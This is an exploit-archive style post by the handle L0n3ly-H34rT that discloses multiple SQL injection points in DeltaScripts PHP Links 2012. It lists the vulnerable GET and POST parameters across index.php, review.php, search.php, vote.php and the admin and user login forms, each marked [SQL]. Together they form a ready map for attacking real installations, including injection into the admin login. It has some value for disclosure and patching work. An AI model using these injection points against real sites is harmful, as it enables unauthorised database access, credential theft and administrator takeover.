############################################ ### Exploit Title: DeltaScripts PHP Links 2012 Multiple Remote SQL Injection Vulnerability ### Date: 09/09/2012 ### Author: L0n3ly-H34rT ### Contact: l0n3ly_h34rt@hotmail.com ### My Site: http://se3c.blogspot.com/ ### Vendor Link: http://www.deltascripts.com/phplinks/ ### Software Link: http://softadmin.deltascripts.com/download.php ### Version: 2012 ( old version is affect) ### Tested on: Linux/Windows ############################################ # Examples : - http://127.0.0.1/phplinks/index.php?catid=[SQL] - http://127.0.0.1/phplinks/review.php?id=[SQL] - http://127.0.0.1/phplinks/search.php?search=[SQL] - http://127.0.0.1/phplinks/admin/adm_fill_options.php?field=[SQL] - http://127.0.0.1/phplinks/vote.php In POST method : id=[SQL]&rating= - http://127.0.0.1/phplinks/admin/adm_login.php In POST method : admin_password=test&admin_username=[SQL]&submit=Login - http://127.0.0.1/phplinks/login.php In POST method : email=[SQL]&forgotten=&password=[SQL]&submit=Login ############################################ # Greetz to my friendz